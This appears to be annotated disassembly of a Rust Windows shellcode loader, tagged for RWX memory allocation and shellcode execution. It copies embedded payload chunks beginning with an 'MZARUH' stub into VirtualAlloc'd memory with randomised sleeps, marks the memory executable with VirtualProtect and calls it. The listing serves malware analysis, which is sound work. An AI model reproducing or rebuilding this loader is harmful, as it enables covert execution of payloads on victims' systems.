Function at 0x140001720
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
mov rax, qword [0x1400f4a88]
movzx eax, byte [rax]
mov eax, 8
mov qword [rsp + 0x48], rax
mov ecx, 0x60
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x140001da1
mov rcx, rax
lea rax, str.MZARUH
mov qword [rcx], rax
mov qword [rcx + 8], 0x32
lea rax, [0x14009d092]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0x32
lea rax, [0x14009d0c4]
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 0x32
lea rax, [0x14009d0f6]
mov qword [rcx + 0x30], rax
mov qword [rcx + 0x38], 0x32
lea rax, [0x14009d128]
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x48], 0x32
lea rax, [0x14009d15a]
mov qword [rcx + 0x50], rax
mov qword [rcx + 0x58], 0x3134c
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], 0
xor edi, edi
mov ebp, 9
xor r13d, r13d
mov qword [rsp + 0x40], rcx
jmp 0x14000180f
cmp r13, 0x60
mov rcx, qword [rsp + 0x40]
je 0x140001be8
mov rax, qword [rcx + r13]
mov qword [rsp + 0x90], rax
mov r14, qword [rcx + r13 + 8]
xor ecx, ecx
mov rdx, r14
mov r8d, 0x3000
mov r9d, 4
call sub.KERNEL32.dll_VirtualAlloc
mov r15, rax
test rax, rax
je 0x140001b9e
cmp rdi, qword [rsp + 0x28]
jne 0x14000185d
lea rcx, [rsp + 0x28]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h942797e6630bb212
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rax + rdi*8], r15
inc rdi
mov qword [rsp + 0x38], rdi
call sym.rand::rngs::thread::thread_rng::hf8bc8f60cb14d315
mov rbx, rax
mov qword [rsp + 0x88], rdi
add r13, 0x10
mov qword [rsp + 0x80], r13
lea r12, [rax + 0x10]
mov r13, rax
add r13, 0x120
xor ecx, ecx
jmp 0x1400018b6
imul edx, edx, 0xf4240
add edx, 0xf4240
xor ecx, ecx
call sym.std::thread::sleep::hfd6bb8fb924d7508
mov rcx, rsi
cmp rcx, r14
jae 0x140001a00
lea rsi, [rcx + 0x10]
cmp rsi, r14
mov r8, r14
cmovb r8, rsi
cmp rcx, 0xfffffffffffffff0
je 0x140001d86
sub r8, rcx
mov rax, qword [rsp + 0x90]
lea rdx, [rax + rcx]
add rcx, r15
call sym.memcpy
mov rcx, qword [rbx + 0x110]
jmp 0x14000191f
lea rdx, [rcx + 2]
mov qword [rbx + 0x110], rdx
mov rax, qword [rbx + rcx*4 + 0x10]
mov rcx, rdx
mul rbp
shr rax, 0x3c
cmp eax, 8
jbe 0x1400018a0
cmp rcx, 0x3f
jb 0x140001900
jne 0x140001970
mov edi, dword [rbx + 0x10c]
mov rax, qword [rbx + 0x158]
test rax, rax
jle 0x1400019a5
cmp qword [rbx + 0x160], 0
js 0x1400019a5
add rax, 0xffffffffffffff00
mov qword [rbx + 0x158], rax
mov rcx, r13
mov edx, 6
mov r8, r12
call sym.rand_chacha::guts::refill_wide::he9b59130886949ef
jmp 0x1400019b0
mov rax, qword [rbx + 0x158]
test rax, rax
jle 0x1400019cf
cmp qword [rbx + 0x160], 0
js 0x1400019cf
add rax, 0xffffffffffffff00
mov qword [rbx + 0x158], rax
mov rcx, r13
mov edx, 6
mov r8, r12
call sym.rand_chacha::guts::refill_wide::he9b59130886949ef
jmp 0x1400019da
mov rcx, r13
mov rdx, r12
call sym.rand::rngs::adapter::reseeding::ReseedingCore_R_Rsdr_::reseed_and_generate::h07482f8f7e35b742
mov qword [rbx + 0x110], 1
mov eax, dword [rbx + 0x10]
shl rax, 0x20
or rax, rdi
mov ecx, 1
jmp 0x140001913
mov rcx, r13
mov rdx, r12
call sym.rand::rngs::adapter::reseeding::ReseedingCore_R_Rsdr_::reseed_and_generate::h07482f8f7e35b742
mov qword [rbx + 0x110], 2
mov rax, qword [rbx + 0x10]
mov ecx, 2
jmp 0x140001913
dec qword [rbx]
jne 0x140001a20
dec qword [rbx + 8]
jne 0x140001a20
mov edx, 0x170
mov r8d, 0x10
mov rcx, rbx
call sym.__rust_dealloc
nop
call sym.rand::rngs::thread::thread_rng::hf8bc8f60cb14d315
mov rdi, qword [rsp + 0x88]
mov r12d, 0x64
mov r13, qword [rsp + 0x80]
mov rbx, rax
lea r14, [rax + 0x10]
mov r15, rax
add r15, 0x120
mov rcx, qword [rax + 0x110]
jmp 0x140001a83
lea rdx, [rcx + 2]
mov qword [rbx + 0x110], rdx
mov rax, qword [rbx + rcx*4 + 0x10]
mov rcx, rdx
mul r12
shr rax, 0x3b
cmp eax, 0x18
jbe 0x140001b60
cmp rcx, 0x3f
jb 0x140001a60
jne 0x140001ad0
mov esi, dword [rbx + 0x10c]
mov rax, qword [rbx + 0x158]
test rax, rax
jle 0x140001b05
cmp qword [rbx + 0x160], 0
js 0x140001b05
add rax, 0xffffffffffffff00
mov qword [rbx + 0x158], rax
mov rcx, r15
mov edx, 6
mov r8, r14
call sym.rand_chacha::guts::refill_wide::he9b59130886949ef
jmp 0x140001b10
mov rax, qword [rbx + 0x158]
test rax, rax
jle 0x140001b2f
cmp qword [rbx + 0x160], 0
js 0x140001b2f
add rax, 0xffffffffffffff00
mov qword [rbx + 0x158], rax
mov rcx, r15
mov edx, 6
mov r8, r14
call sym.rand_chacha::guts::refill_wide::he9b59130886949ef
jmp 0x140001b3a
mov rcx, r15
mov rdx, r14
call sym.rand::rngs::adapter::reseeding::ReseedingCore_R_Rsdr_::reseed_and_generate::h07482f8f7e35b742
mov qword [rbx + 0x110], 1
mov eax, dword [rbx + 0x10]
shl rax, 0x20
or rax, rsi
mov ecx, 1
jmp 0x140001a73
mov rcx, r15
mov rdx, r14
call sym.rand::rngs::adapter::reseeding::ReseedingCore_R_Rsdr_::reseed_and_generate::h07482f8f7e35b742
mov qword [rbx + 0x110], 2
mov rax, qword [rbx + 0x10]
mov ecx, 2
jmp 0x140001a73
imul edx, edx, 0xf4240
add edx, 0x2faf080
xor ecx, ecx
call sym.std::thread::sleep::hfd6bb8fb924d7508
dec qword [rbx]
jne 0x140001800
dec qword [rbx + 8]
jne 0x140001800
mov edx, 0x170
mov r8d, 0x10
mov rcx, rbx
call sym.__rust_dealloc
jmp 0x140001800
lea rax, str.Failed_to_allocate_memory_n
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rcx, [rsp + 0x50]
call sym.std::io::stdio::_eprint::h90d3d244862ade82
mov edx, 0x60
mov r8d, 8
mov rcx, qword [rsp + 0x40]
call sym.__rust_dealloc
jmp 0x140001d53
mov edx, 0x60
mov r8d, 8
call sym.__rust_dealloc
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsi]
add rdi, qword [rsi + 8]
add rdi, qword [rsi + 0x10]
add rdi, qword [rsi + 0x18]
add rdi, qword [rsi + 0x20]
add rdi, qword [rsi + 0x28]
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x3000
mov r9d, 4
call sub.KERNEL32.dll_VirtualAlloc
mov rbx, rax
test rax, rax
je 0x140001cf1
mov r14, qword [rsi]
mov rcx, rbx
mov rdx, r14
mov r8, r14
call sym.memcpy
mov r15, qword [rsi + 8]
lea rcx, [rbx + r14]
mov rdx, r15
mov r8, r15
call sym.memcpy
add r14, r15
mov r15, qword [rsi + 0x10]
lea rcx, [rbx + r14]
mov rdx, r15
mov r8, r15
call sym.memcpy
add r14, r15
mov r15, qword [rsi + 0x18]
lea rcx, [rbx + r14]
mov rdx, r15
mov r8, r15
call sym.memcpy
add r14, r15
mov r15, qword [rsi + 0x20]
add r14, rbx
mov rcx, r14
mov rdx, r15
mov r8, r15
call sym.memcpy
mov rdx, qword [rsi + 0x28]
add r14, r15
mov rcx, r14
mov r8, rdx
call sym.memcpy
mov dword [rsp + 0x50], 0
lea r9, [rsp + 0x50]
mov rcx, rbx
mov rdx, rdi
mov r8d, 0x40
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
je 0x140001d23
call rbx
mov rdx, qword [rsp + 0x28]
test rdx, rdx
je 0x140001d71
shl rdx, 3
mov r8d, 8
mov rcx, rsi
jmp 0x140001d6c
lea rax, str.Failed_to_allocate_executable_memory_n
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rcx, [rsp + 0x50]
call sym.std::io::stdio::_eprint::h90d3d244862ade82
jmp 0x140001d53
lea rax, str.Failed_to_change_memory_protection_n
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rcx, [rsp + 0x50]
call sym.std::io::stdio::_eprint::h90d3d244862ade82
mov rdx, qword [rsp + 0x28]
test rdx, rdx
je 0x140001d71
mov rcx, qword [rsp + 0x30]
shl rdx, 3
mov r8d, 8
call sym.__rust_dealloc
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.src_main.rs
mov rcx, 0xfffffffffffffff0
mov rdx, r8
mov r8, rax
call sym.core::slice::index::slice_index_order_fail::hf943cfe51be07c4a
ud2
mov ecx, 8
mov edx, 0x60
call sym.alloc::alloc::handle_alloc_error::hac6683127b8aa11c
jmp 0x140001db9
mov rdi, rax
jmp 0x140001dcf
mov edx, 0x60
mov r8d, 8
mov rcx, qword [rsp + 0x40]
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x28]
test rdx, rdx
je 0x140001e02
mov rcx, qword [rsp + 0x30]
shl rdx, 3
mov r8d, 8
call sym.__rust_dealloc
mov rcx, rdi
call sym._Unwind_Resume
int3